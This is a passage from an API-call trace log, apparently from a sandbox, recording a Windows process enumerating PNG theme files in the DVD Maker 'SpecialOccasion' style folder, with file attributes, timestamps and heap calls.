ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0245.388] GetLastError () returned 0x12 [0245.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.389] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.389] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0245.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.390] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.390] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93a4a8 [0245.390] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93a4a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93a4a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93a4a8) returned 1 [0245.390] NtClose (Handle=0x1c0) returned 0x0 [0245.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.390] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.393] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.393] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.393] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.393] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927c60 [0245.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x938ae8 [0245.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0245.394] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0245.394] GetLastError () returned 0x12 [0245.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.395] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, 